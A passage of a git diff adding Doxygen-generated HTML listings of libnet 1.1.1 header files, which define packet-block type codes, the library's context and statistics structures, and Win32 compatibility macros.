+00022 <span class="comment"> * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL</span>
+00023 <span class="comment"> * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS</span>
+00024 <span class="comment"> * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)</span>
+00025 <span class="comment"> * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT</span>
+00026 <span class="comment"> * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY</span>
+00027 <span class="comment"> * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF</span>
+00028 <span class="comment"> * SUCH DAMAGE.</span>
+00029 <span class="comment"> *</span>
+00030 <span class="comment"> */</span>
+00031
+00032 <span class="preprocessor">#ifndef __LIBNET_STRUCTURES_H</span>
+00033 <span class="preprocessor"></span><span class="preprocessor">#define __LIBNET_STRUCTURES_H</span>
+00034 <span class="preprocessor"></span>
+00035 <span class="preprocessor">#if ((__WIN32__) &amp;&amp; !(__CYGWIN__))</span>
+00036 <span class="preprocessor"></span><span class="preprocessor">#include "Packet32.h"</span>
+00037 <span class="preprocessor">#endif</span>
+00038 <span class="preprocessor"></span>
+00039 <span class="comment">/* port list chain structure */</span>
+00040 <span class="keyword">typedef</span> <span class="keyword">struct </span>libnet_port_list_chain libnet_plist_t;
+00041 <span class="keyword">struct </span>libnet_port_list_chain
+00042 {
+00043 u_int16_t node; <span class="comment">/* node number */</span>
+00044 u_int16_t bport; <span class="comment">/* beggining port */</span>
+00045 u_int16_t eport; <span class="comment">/* terminating port */</span>
+00046 u_int8_t id; <span class="comment">/* global array offset */</span>
+00047 libnet_plist_t *next; <span class="comment">/* next node in the list */</span>
+00048 };
+00049
+00050
+00051 <span class="comment">/* libnet statistics structure */</span>
+00052 <span class="keyword">struct </span>libnet_stats
+00053 {
+00054 <span class="preprocessor">#if (!defined(__WIN32__) || (__CYGWIN__))</span>
+00055 <span class="preprocessor"></span> u_int64_t packets_sent; <span class="comment">/* packets sent */</span>
+00056 u_int64_t packet_errors; <span class="comment">/* packets errors */</span>
+00057 u_int64_t bytes_written; <span class="comment">/* bytes written */</span>
+00058 <span class="preprocessor">#else</span>
+00059 <span class="preprocessor"></span> __int64 packets_sent; <span class="comment">/* packets sent */</span>
+00060 __int64 packet_errors; <span class="comment">/* packets errors */</span>
+00061 __int64 bytes_written; <span class="comment">/* bytes written */</span>
+00062 <span class="preprocessor">#endif</span>
+00063 <span class="preprocessor"></span>};
+00064
+00065
+00066 <span class="comment">/*</span>
+00067 <span class="comment"> * Libnet ptags are how we identify specific protocol blocks inside the</span>
+00068 <span class="comment"> * list.</span>
+00069 <span class="comment"> */</span>
+00070 <span class="keyword">typedef</span> int32_t libnet_ptag_t;
+00071 <span class="preprocessor">#define LIBNET_PTAG_INITIALIZER 0</span>
+00072 <span class="preprocessor"></span>
+00073
+00074 <span class="comment">/*</span>
+00075 <span class="comment"> * Libnet generic protocol block memory object. Sort of a poor man's mbuf.</span>
+00076 <span class="comment"> */</span>
+00077 <span class="keyword">struct </span>libnet_protocol_block
+00078 {
+00079 u_int8_t *buf; <span class="comment">/* protocol buffer */</span>
+00080 u_int32_t b_len; <span class="comment">/* length of buf */</span>
+00081 u_int16_t h_len; <span class="comment">/* header length (for checksumming) */</span>
+00082 u_int32_t copied; <span class="comment">/* bytes copied */</span>
+00083 u_int8_t type; <span class="comment">/* type of pblock */</span>
+00084 <span class="comment">/* this needs to be updated every time a new packet builder is added */</span>
+00085 <span class="preprocessor">#define LIBNET_PBLOCK_ARP_H 0x01 </span><span class="comment">/* ARP header */</span>
+00086 <span class="preprocessor">#define LIBNET_PBLOCK_DHCPV4_H 0x02 </span><span class="comment">/* DHCP v4 header */</span>
+00087 <span class="preprocessor">#define LIBNET_PBLOCK_DNSV4_H 0x03 </span><span class="comment">/* DNS v4 header */</span>
+00088 <span class="preprocessor">#define LIBNET_PBLOCK_ETH_H 0x04 </span><span class="comment">/* Ethernet header */</span>
+00089 <span class="preprocessor">#define LIBNET_PBLOCK_ICMPV4_H 0x05 </span><span class="comment">/* ICMP v4 base header */</span>
+00090 <span class="preprocessor">#define LIBNET_PBLOCK_ICMPV4_ECHO_H 0x06 </span><span class="comment">/* ICMP v4 echo header */</span>
+00091 <span class="preprocessor">#define LIBNET_PBLOCK_ICMPV4_MASK_H 0x07 </span><span class="comment">/* ICMP v4 mask header */</span>
+00092 <span class="preprocessor">#define LIBNET_PBLOCK_ICMPV4_UNREACH_H 0x08 </span><span class="comment">/* ICMP v4 unreach header */</span>
+00093 <span class="preprocessor">#define LIBNET_PBLOCK_ICMPV4_TIMXCEED_H 0x09 </span><span class="comment">/* ICMP v4 exceed header */</span>
+00094 <span class="preprocessor">#define LIBNET_PBLOCK_ICMPV4_REDIRECT_H 0x0a </span><span class="comment">/* ICMP v4 redirect header */</span>
+00095 <span class="preprocessor">#define LIBNET_PBLOCK_ICMPV4_TS_H 0x0b </span><span class="comment">/* ICMP v4 timestamp header */</span>
+00096 <span class="preprocessor">#define LIBNET_PBLOCK_IGMP_H 0x0c </span><span class="comment">/* IGMP header */</span>
+00097 <span class="preprocessor">#define LIBNET_PBLOCK_IPV4_H 0x0d </span><span class="comment">/* IP v4 header */</span>
+00098 <span class="preprocessor">#define LIBNET_PBLOCK_IPO_H 0x0e </span><span class="comment">/* IP v4 options */</span>
+00099 <span class="preprocessor">#define LIBNET_PBLOCK_IPDATA 0x0f </span><span class="comment">/* IP data */</span>
+00100 <span class="preprocessor">#define LIBNET_PBLOCK_OSPF_H 0x10 </span><span class="comment">/* OSPF base header */</span>
+00101 <span class="preprocessor">#define LIBNET_PBLOCK_OSPF_HELLO_H 0x11 </span><span class="comment">/* OSPF hello header */</span>
+00102 <span class="preprocessor">#define LIBNET_PBLOCK_OSPF_DBD_H 0x12 </span><span class="comment">/* OSPF dbd header */</span>
+00103 <span class="preprocessor">#define LIBNET_PBLOCK_OSPF_LSR_H 0x13 </span><span class="comment">/* OSPF lsr header */</span>
+00104 <span class="preprocessor">#define LIBNET_PBLOCK_OSPF_LSU_H 0x14 </span><span class="comment">/* OSPF lsu header */</span>
+00105 <span class="preprocessor">#define LIBNET_PBLOCK_OSPF_LSA_H 0x15 </span><span class="comment">/* OSPF lsa header */</span>
+00106 <span class="preprocessor">#define LIBNET_PBLOCK_OSPF_AUTH_H 0x16 </span><span class="comment">/* OSPF auth header */</span>
+00107 <span class="preprocessor">#define LIBNET_PBLOCK_OSPF_CKSUM 0x17 </span><span class="comment">/* OSPF checksum header */</span>
+00108 <span class="preprocessor">#define LIBNET_PBLOCK_LS_RTR_H 0x18 </span><span class="comment">/* linkstate rtr header */</span>
+00109 <span class="preprocessor">#define LIBNET_PBLOCK_LS_NET_H 0x19 </span><span class="comment">/* linkstate net header */</span>
+00110 <span class="preprocessor">#define LIBNET_PBLOCK_LS_SUM_H 0x1a </span><span class="comment">/* linkstate as sum header */</span>
+00111 <span class="preprocessor">#define LIBNET_PBLOCK_LS_AS_EXT_H 0x1b </span><span class="comment">/* linkstate as ext header */</span>
+00112 <span class="preprocessor">#define LIBNET_PBLOCK_NTP_H 0x1c </span><span class="comment">/* NTP header */</span>
+00113 <span class="preprocessor">#define LIBNET_PBLOCK_RIP_H 0x1d </span><span class="comment">/* RIP header */</span>
+00114 <span class="preprocessor">#define LIBNET_PBLOCK_TCP_H 0x1e </span><span class="comment">/* TCP header */</span>
+00115 <span class="preprocessor">#define LIBNET_PBLOCK_TCPO_H 0x1f </span><span class="comment">/* TCP options */</span>
+00116 <span class="preprocessor">#define LIBNET_PBLOCK_TCPDATA 0x20 </span><span class="comment">/* TCP data */</span>
+00117 <span class="preprocessor">#define LIBNET_PBLOCK_UDP_H 0x21 </span><span class="comment">/* UDP header */</span>
+00118 <span class="preprocessor">#define LIBNET_PBLOCK_VRRP_H 0x22 </span><span class="comment">/* VRRP header */</span>
+00119 <span class="preprocessor">#define LIBNET_PBLOCK_DATA_H 0x23 </span><span class="comment">/* generic data */</span>
+00120 <span class="preprocessor">#define LIBNET_PBLOCK_CDP_H 0x24 </span><span class="comment">/* CDP header */</span>
+00121 <span class="preprocessor">#define LIBNET_PBLOCK_IPSEC_ESP_HDR_H 0x25 </span><span class="comment">/* IPSEC ESP header */</span>
+00122 <span class="preprocessor">#define LIBNET_PBLOCK_IPSEC_ESP_FTR_H 0x26 </span><span class="comment">/* IPSEC ESP footer */</span>
+00123 <span class="preprocessor">#define LIBNET_PBLOCK_IPSEC_AH_H 0x27 </span><span class="comment">/* IPSEC AH header */</span>
+00124 <span class="preprocessor">#define LIBNET_PBLOCK_802_1Q_H 0x28 </span><span class="comment">/* 802.1q header */</span>
+00125 <span class="preprocessor">#define LIBNET_PBLOCK_802_2_H 0x29 </span><span class="comment">/* 802.2 header */</span>
+00126 <span class="preprocessor">#define LIBNET_PBLOCK_802_2SNAP_H 0x2a </span><span class="comment">/* 802.2 SNAP header */</span>
+00127 <span class="preprocessor">#define LIBNET_PBLOCK_802_3_H 0x2b </span><span class="comment">/* 802.3 header */</span>
+00128 <span class="preprocessor">#define LIBNET_PBLOCK_STP_CONF_H 0x2c </span><span class="comment">/* STP configuration header */</span>
+00129 <span class="preprocessor">#define LIBNET_PBLOCK_STP_TCN_H 0x2d </span><span class="comment">/* STP TCN header */</span>
+00130 <span class="preprocessor">#define LIBNET_PBLOCK_ISL_H 0x2e </span><span class="comment">/* ISL header */</span>
+00131 <span class="preprocessor">#define LIBNET_PBLOCK_IPV6_H 0x2f </span><span class="comment">/* IP v6 header */</span>
+00132 <span class="preprocessor">#define LIBNET_PBLOCK_802_1X_H 0x30 </span><span class="comment">/* 802.1x header */</span>
+00133 <span class="preprocessor">#define LIBNET_PBLOCK_RPC_CALL_H 0x31 </span><span class="comment">/* RPC Call header */</span>
+00134 <span class="preprocessor">#define LIBNET_PBLOCK_MPLS_H 0x32 </span><span class="comment">/* MPLS header */</span>
+00135 <span class="preprocessor">#define LIBNET_PBLOCK_FDDI_H 0x33 </span><span class="comment">/* FDDI header */</span>
+00136 <span class="preprocessor">#define LIBNET_PBLOCK_TOKEN_RING_H 0x34 </span><span class="comment">/* TOKEN RING header */</span>
+00137 <span class="preprocessor">#define LIBNET_PBLOCK_BGP4_HEADER_H 0x35 </span><span class="comment">/* BGP4 header */</span>
+00138 <span class="preprocessor">#define LIBNET_PBLOCK_BGP4_OPEN_H 0x36 </span><span class="comment">/* BGP4 open header */</span>
+00139 <span class="preprocessor">#define LIBNET_PBLOCK_BGP4_UPDATE_H 0x37 </span><span class="comment">/* BGP4 update header */</span>
+00140 <span class="preprocessor">#define LIBNET_PBLOCK_BGP4_NOTIFICATION_H 0x38 </span><span class="comment">/* BGP4 notification header */</span>
+00141 <span class="preprocessor">#define LIBNET_PBLOCK_GRE_H 0x39 </span><span class="comment">/* GRE header */</span>
+00142 <span class="preprocessor">#define LIBNET_PBLOCK_GRE_SRE_H 0x3a </span><span class="comment">/* GRE SRE header */</span>
+00143 <span class="preprocessor">#define LIBNET_PBLOCK_IPV6_FRAG_H 0x3b </span><span class="comment">/* IPv6 frag header */</span>
+00144 <span class="preprocessor">#define LIBNET_PBLOCK_IPV6_ROUTING_H 0x3c </span><span class="comment">/* IPv6 routing header */</span>
+00145 <span class="preprocessor">#define LIBNET_PBLOCK_IPV6_DESTOPTS_H 0x3d </span><span class="comment">/* IPv6 dest opts header */</span>
+00146 <span class="preprocessor">#define LIBNET_PBLOCK_IPV6_HBHOPTS_H 0x3e </span><span class="comment">/* IPv6 hop/hop opts header */</span>
+00147 <span class="preprocessor">#define LIBNET_PBLOCK_SEBEK_H 0x3f </span><span class="comment">/* Sebek header */</span>
+00148 u_int8_t flags; <span class="comment">/* control flags */</span>
+00149 <span class="preprocessor">#define LIBNET_PBLOCK_DO_CHECKSUM 0x01 </span><span class="comment">/* needs a checksum */</span>
+00150 libnet_ptag_t ptag; <span class="comment">/* protocol block tag */</span>
+00151 <span class="keyword">struct </span>libnet_protocol_block *next; <span class="comment">/* next pblock */</span>
+00152 <span class="keyword">struct </span>libnet_protocol_block *prev; <span class="comment">/* prev pblock */</span>
+00153 };
+00154 <span class="keyword">typedef</span> <span class="keyword">struct </span>libnet_protocol_block libnet_pblock_t;
+00155
+00156
+00157 <span class="comment">/*</span>
+00158 <span class="comment"> * Libnet context</span>
+00159 <span class="comment"> * Opaque structure. Nothing in here should ever been touched first hand by</span>
+00160 <span class="comment"> * the applications programmer.</span>
+00161 <span class="comment"> */</span>
+00162 <span class="keyword">struct </span>libnet_context
+00163 {
+00164 <span class="preprocessor">#if ((__WIN32__) &amp;&amp; !(__CYGWIN__)) </span>
+00165 <span class="preprocessor"></span> SOCKET fd;
+00166 LPADAPTER lpAdapter;
+00167 <span class="preprocessor">#else</span>
+00168 <span class="preprocessor"></span> <span class="keywordtype">int</span> fd; <span class="comment">/* file descriptor of packet device */</span>
+00169 <span class="preprocessor">#endif</span>
+00170 <span class="preprocessor"></span> <span class="keywordtype">int</span> injection_type; <span class="comment">/* raw (ipv4 or ipv6) or link */</span>
+00171 <span class="preprocessor">#define LIBNET_LINK 0x00 </span><span class="comment">/* link-layer interface */</span>
+00172 <span class="preprocessor">#define LIBNET_RAW4 0x01 </span><span class="comment">/* raw socket interface (ipv4) */</span>
+00173 <span class="preprocessor">#define LIBNET_RAW6 0x02 </span><span class="comment">/* raw socket interface (ipv6) */</span>
+00174 <span class="comment">/* the following should actually set a flag in the flags variable above */</span>
+00175 <span class="preprocessor">#define LIBNET_LINK_ADV 0x08 </span><span class="comment">/* advanced mode link-layer */</span>
+00176 <span class="preprocessor">#define LIBNET_RAW4_ADV 0x09 </span><span class="comment">/* advanced mode raw socket (ipv4) */</span>
+00177 <span class="preprocessor">#define LIBNET_RAW6_ADV 0x0a </span><span class="comment">/* advanced mode raw socket (ipv6) */</span>
+00178 <span class="preprocessor">#define LIBNET_ADV_MASK 0x08 </span><span class="comment">/* mask to determine adv mode */</span>
+00179
+00180 libnet_pblock_t *protocol_blocks; <span class="comment">/* protocol headers / data */</span>
+00181 libnet_pblock_t *pblock_end; <span class="comment">/* last node in list */</span>
+00182
+00183 <span class="keywordtype">int</span> link_type; <span class="comment">/* link-layer type */</span>
+00184 <span class="keywordtype">int</span> link_offset; <span class="comment">/* link-layer header size */</span>
+00185 <span class="keywordtype">int</span> aligner; <span class="comment">/* used to align packets */</span>
+00186 <span class="keywordtype">char</span> *device; <span class="comment">/* device name */</span>
+00187
+00188 <span class="keyword">struct </span>libnet_stats stats; <span class="comment">/* statistics */</span>
+00189 libnet_ptag_t ptag_state; <span class="comment">/* state holder for pblock tag */</span>
+00190 <span class="keywordtype">char</span> label[LIBNET_LABEL_SIZE]; <span class="comment">/* textual label for cq interface */</span>
+00191
+00192 <span class="keywordtype">char</span> err_buf[<a class="code" href="libnet-macros_8h.html#a18">LIBNET_ERRBUF_SIZE</a>]; <span class="comment">/* error buffer */</span>
+00193 u_int32_t total_size; <span class="comment">/* total size */</span>
+00194 };
+00195 <span class="keyword">typedef</span> <span class="keyword">struct </span>libnet_context libnet_t;
+00196
+00197 <span class="comment">/*</span>
+00198 <span class="comment"> * Libnet context queue structure</span>
+00199 <span class="comment"> * Opaque structure. Nothing in here should ever been touched first hand by</span>
+00200 <span class="comment"> * the applications programmer.</span>
+00201 <span class="comment"> */</span>
+00202 <span class="keyword">typedef</span> <span class="keyword">struct </span>_libnet_context_queue libnet_cq_t;
+00203 <span class="keyword">struct </span>_libnet_context_queue
+00204 {
+00205 libnet_t *context; <span class="comment">/* pointer to libnet context */</span>
+00206 libnet_cq_t *next; <span class="comment">/* next node in the list */</span>
+00207 libnet_cq_t *prev; <span class="comment">/* previous node in the list */</span>
+00208 };
+00209
+00210 <span class="keyword">struct </span>_libnet_context_queue_descriptor
+00211 {
+00212 u_int32_t node; <span class="comment">/* number of nodes in the list */</span>
+00213 u_int32_t cq_lock; <span class="comment">/* lock status */</span>
+00214 libnet_cq_t *current; <span class="comment">/* current context */</span>
+00215 };
+00216 <span class="keyword">typedef</span> <span class="keyword">struct </span>_libnet_context_queue_descriptor libnet_cqd_t;
+00217
+00218 <span class="preprocessor">#endif </span><span class="comment">/* __LIBNET_STRUCTURES_H */</span>
+00219
+00220 <span class="comment">/* EOF */</span>
+</pre></div><hr size="1"><address style="align: right;"><small>Generated on Wed Mar 10 13:23:37 2004 for libnet by
+<a href="http://www.doxygen.org/index.html">
+<img src="doxygen.png" alt="doxygen" align="middle" border=0 >
+</a>1.3.4 </small></address>
+</body>
+</html>
diff --git a/libnet/doc/html/libnet-types_8h-source.html b/libnet/doc/html/libnet-types_8h-source.html
new file mode 100644
index 0000000..b7d24c1
--- /dev/null
+++ b/libnet/doc/html/libnet-types_8h-source.html
@@ -0,0 +1,58 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html><head><meta http-equiv="Content-Type" content="text/html;charset=iso-8859-1">
+<title>libnet: libnet-types.h Source File</title>
+<link href="doxygen.css" rel="stylesheet" type="text/css">
+</head><body>
+<!-- Generated by Doxygen 1.3.4 -->
+<div class="qindex"><a class="qindex" href="index.html">Main&nbsp;Page</a> | <a class="qindex" href="annotated.html">Data&nbsp;Structures</a> | <a class="qindex" href="files.html">File&nbsp;List</a> | <a class="qindex" href="functions.html">Data&nbsp;Fields</a> | <a class="qindex" href="globals.html">Globals</a></div>
+<h1>libnet-types.h</h1><div class="fragment"><pre>00001 <span class="comment">/*</span>
+00002 <span class="comment"> * $Id: libnet-types.h,v 1.3 2004/01/03 20:31:00 mike Exp $</span>
+00003 <span class="comment"> *</span>
+00004 <span class="comment"> * libnet-types.h - Network routine library macro header file</span>
+00005 <span class="comment"> *</span>
+00006 <span class="comment"> * Copyright (c) 1998 - 2004 Mike D. Schiffman &lt;mike@infonexus.com&gt;</span>
+00007 <span class="comment"> * All rights reserved.</span>
+00008 <span class="comment"> *</span>
+00009 <span class="comment"> * Redistribution and use in source and binary forms, with or without</span>
+00010 <span class="comment"> * modification, are permitted provided that the following conditions</span>
+00011 <span class="comment"> * are met:</span>
+00012 <span class="comment"> * 1. Redistributions of source code must retain the above copyright</span>
+00013 <span class="comment"> * notice, this list of conditions and the following disclaimer.</span>
+00014 <span class="comment"> * 2. Redistributions in binary form must reproduce the above copyright</span>
+00015 <span class="comment"> * notice, this list of conditions and the following disclaimer in the</span>
+00016 <span class="comment"> * documentation and/or other materials provided with the distribution.</span>
+00017 <span class="comment"> *</span>
+00018 <span class="comment"> * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND</span>
+00019 <span class="comment"> * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE</span>
+00020 <span class="comment"> * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE</span>
+00021 <span class="comment"> * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE</span>
+00022 <span class="comment"> * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL</span>
+00023 <span class="comment"> * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS</span>
+00024 <span class="comment"> * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)</span>
+00025 <span class="comment"> * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT</span>
+00026 <span class="comment"> * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY</span>
+00027 <span class="comment"> * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF</span>
+00028 <span class="comment"> * SUCH DAMAGE.</span>
+00029 <span class="comment"> *</span>
+00030 <span class="comment"> */</span>
+00031
+00032 <span class="preprocessor">#ifndef __LIBNET_TYPES_H</span>
+00033 <span class="preprocessor"></span><span class="preprocessor">#define __LIBNET_TYPES_H</span>
+00034 <span class="preprocessor"></span>
+00035 <span class="comment">/* Solaris has messed up POSIX nomenclature for these */</span>
+00036 <span class="preprocessor">#if (__sun__ &amp;&amp; __svr4__)</span>
+00037 <span class="preprocessor"></span><span class="keyword">typedef</span> uint8_t u_int8_t;
+00038 <span class="keyword">typedef</span> uint16_t u_int16_t;
+00039 <span class="keyword">typedef</span> uint32_t u_int32_t;
+00040 <span class="keyword">typedef</span> uint64_t u_int64_t;
+00041 <span class="preprocessor">#endif</span>
+00042 <span class="preprocessor"></span>
+00043 <span class="preprocessor">#endif </span><span class="comment">/* __LIBNET_TYPES_H */</span>
+00044
+00045 <span class="comment">/* EOF */</span>
+</pre></div><hr size="1"><address style="align: right;"><small>Generated on Wed Mar 10 13:23:37 2004 for libnet by
+<a href="http://www.doxygen.org/index.html">
+<img src="doxygen.png" alt="doxygen" align="middle" border=0 >
+</a>1.3.4 </small></address>
+</body>
+</html>
diff --git a/libnet/doc/html/libnet_8h-source.html b/libnet/doc/html/libnet_8h-source.html
new file mode 100644
index 0000000..42a8723
--- /dev/null
+++ b/libnet/doc/html/libnet_8h-source.html
@@ -0,0 +1,119 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html><head><meta http-equiv="Content-Type" content="text/html;charset=iso-8859-1">
+<title>libnet: libnet.h Source File</title>
+<link href="doxygen.css" rel="stylesheet" type="text/css">
+</head><body>
+<!-- Generated by Doxygen 1.3.4 -->
+<div class="qindex"><a class="qindex" href="index.html">Main&nbsp;Page</a> | <a class="qindex" href="annotated.html">Data&nbsp;Structures</a> | <a class="qindex" href="files.html">File&nbsp;List</a> | <a class="qindex" href="functions.html">Data&nbsp;Fields</a> | <a class="qindex" href="globals.html">Globals</a></div>
+<h1>libnet.h</h1><a href="libnet_8h.html">Go to the documentation of this file.</a><div class="fragment"><pre>00001 <span class="comment">/*</span>
+00002 <span class="comment"> * $Id: libnet.h,v 1.7 2004/01/03 20:31:00 mike Exp $</span>
+00003 <span class="comment"> *</span>
+00004 <span class="comment"> * libnet.h - Network routine library header file for Win32 VC++</span>
+00005 <span class="comment"> *</span>
+00006 <span class="comment"> * Copyright (c) 1998 - 2004 Mike D. Schiffman &lt;mike@infonexus.com&gt;</span>
+00007 <span class="comment"> * All rights reserved.</span>
+00008 <span class="comment"> *</span>
+00009 <span class="comment"> * Redistribution and use in source and binary forms, with or without</span>
+00010 <span class="comment"> * modification, are permitted provided that the following conditions</span>
+00011 <span class="comment"> * are met:</span>
+00012 <span class="comment"> * 1. Redistributions of source code must retain the above copyright</span>
+00013 <span class="comment"> * notice, this list of conditions and the following disclaimer.</span>
+00014 <span class="comment"> * 2. Redistributions in binary form must reproduce the above copyright</span>
+00015 <span class="comment"> * notice, this list of conditions and the following disclaimer in the</span>
+00016 <span class="comment"> * documentation and/or other materials provided with the distribution.</span>
+00017 <span class="comment"> *</span>
+00018 <span class="comment"> * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND</span>
+00019 <span class="comment"> * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE</span>
+00020 <span class="comment"> * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE</span>
+00021 <span class="comment"> * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE</span>
+00022 <span class="comment"> * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL</span>
+00023 <span class="comment"> * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS</span>
+00024 <span class="comment"> * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)</span>
+00025 <span class="comment"> * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT</span>
+00026 <span class="comment"> * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY</span>
+00027 <span class="comment"> * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF</span>
+00028 <span class="comment"> * SUCH DAMAGE.</span>
+00029 <span class="comment"> *</span>
+00030 <span class="comment"> */</span>
+00031
+00032 <span class="preprocessor">#ifdef _WIN32</span>
+00033 <span class="preprocessor"></span>
+00034 <span class="preprocessor">#ifndef __LIBNET_H</span>
+00035 <span class="preprocessor"></span><span class="preprocessor">#define __LIBNET_H</span>
+00036 <span class="preprocessor"></span>
+00037 <span class="preprocessor">#include &lt;winsock2.h&gt;</span>
+00038 <span class="preprocessor">#include &lt;windows.h&gt;</span>
+00039 <span class="preprocessor">#include &lt;time.h&gt;</span>
+00040 <span class="preprocessor">#include "in_systm.h"</span>
+00041 <span class="preprocessor">#include "pcap.h"</span>
+00042
+00043
+00044 <span class="preprocessor">#ifdef __cplusplus</span>
+00045 <span class="preprocessor"></span><span class="keyword">extern</span> <span class="stringliteral">"C"</span> {
+00046 <span class="preprocessor">#endif</span>
+00047 <span class="preprocessor"></span>
+00048 <span class="comment">/* __WIN32__ is NOT a predefined MACRO, use _WIN32</span>
+00049 <span class="comment"> * __CYGWIN__ is defined within the cygwin environment.</span>
+00050 <span class="comment"> */</span>
+00051 <span class="preprocessor">#ifndef __WIN32__</span>
+00052 <span class="preprocessor"></span><span class="preprocessor">#define __WIN32__ _WIN32</span>
+00053 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00054 <span class="preprocessor"></span>
+00055 <span class="preprocessor">#define LIBNET_LIL_ENDIAN 1</span>
+00056 <span class="preprocessor"></span><span class="preprocessor">#define HAVE_CONFIG_H 1</span>
+00057 <span class="preprocessor"></span>
+00058 <span class="comment">/* Some UNIX to Win32 conversions */</span>
+00059 <span class="preprocessor">#define STDOUT_FILENO stdout</span>
+00060 <span class="preprocessor"></span><span class="preprocessor">#define snprintf _snprintf </span>
+00061 <span class="preprocessor"></span><span class="preprocessor">#define write _write</span>
+00062 <span class="preprocessor"></span><span class="preprocessor">#define open _open</span>
+00063 <span class="preprocessor"></span><span class="preprocessor">#define random rand</span>
+00064 <span class="preprocessor"></span><span class="preprocessor">#define close closesocket</span>
+00065 <span class="preprocessor"></span><span class="preprocessor">#define __func__ __FUNCTION__</span>
+00066 <span class="preprocessor"></span>
+00067 <span class="comment">/* __FUNCTION__ available in VC ++ 7.0 (.NET) and greater */</span>
+00068 <span class="preprocessor">#if _MSC_VER &lt; 1300</span>
+00069 <span class="preprocessor"></span><span class="preprocessor">#define __FUNCTION__ __FILE__</span>
+00070 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00071 <span class="preprocessor"></span>
+00072 <span class="preprocessor">#pragma comment (lib,"ws2_32") </span><span class="comment">/* Winsock 2 */</span>
+00073 <span class="preprocessor">#pragma comment (lib,"iphlpapi") </span><span class="comment">/* IP Helper */</span>
+00074 <span class="preprocessor">#pragma comment (lib,"wpcap") </span><span class="comment">/* Winpcap */</span>
+00075 <span class="preprocessor">#pragma comment (lib,"packet") </span>
+00076 <span class="preprocessor"></span>
+00077 <span class="comment">/* "@LIBNET_VERSION@" will not work in VC++, so version.h doesn't get populated */</span>
+00078 <span class="preprocessor">#define VERSION "1.1.1"</span>
+00079 <span class="preprocessor"></span>
+00080 <span class="comment">/* To use Win32 native versions */</span>
+00081 <span class="preprocessor">#define WPCAP 1</span>
+00082 <span class="preprocessor"></span><span class="preprocessor">#define _GNU_SOURCE</span>
+00083 <span class="preprocessor"></span><span class="preprocessor">#include &lt;stdio.h&gt;</span>
+00084 <span class="preprocessor">#include &lt;string.h&gt;</span>
+00085 <span class="preprocessor">#include &lt;fcntl.h&gt;</span>
+00086 <span class="preprocessor">#include &lt;signal.h&gt;</span>
+00087 <span class="preprocessor">#include &lt;stdlib.h&gt;</span>
+00088 <span class="preprocessor">#include &lt;sys/stat.h&gt;</span>
+00089 <span class="preprocessor">#include &lt;sys/types.h&gt;</span>
+00090 <span class="preprocessor">#include &lt;ctype.h&gt;</span>
+00091 <span class="preprocessor">#include &lt;errno.h&gt;</span>
+00092 <span class="preprocessor">#include &lt;stdarg.h&gt;</span>
+00093 <span class="preprocessor">#include "../libnet/libnet-macros.h"</span>
+00094 <span class="preprocessor">#include "../libnet/libnet-headers.h"</span>
+00095 <span class="preprocessor">#include "../libnet/libnet-structures.h"</span>
+00096 <span class="preprocessor">#include "../libnet/libnet-asn1.h"</span>
+00097 <span class="preprocessor">#include "../libnet/libnet-functions.h"</span>
+00098
+00099 <span class="preprocessor">#ifdef __cplusplus</span>
+00100 <span class="preprocessor"></span>}
+00101 <span class="preprocessor">#endif</span>
+00102 <span class="preprocessor"></span>
+00103 <span class="preprocessor">#endif </span><span class="comment">/* __LIBNET_H */</span>
+00104
+00105 <span class="preprocessor">#endif</span>
+00106 <span class="preprocessor"></span><span class="comment">/* EOF */</span>
+</pre></div><hr size="1"><address style="align: right;"><small>Generated on Wed Mar 10 13:23:37 2004 for libnet by
+<a href="http://www.doxygen.org/index.html">
+<img src="doxygen.png" alt="doxygen" align="middle" border=0 >
+</a>1.3.4 </small></address>
+</body>
+</html>
diff --git a/libnet/doc/html/libnet_8h.html b/libnet/doc/html/libnet_8h.html
new file mode 100644
index 0000000..03334ad
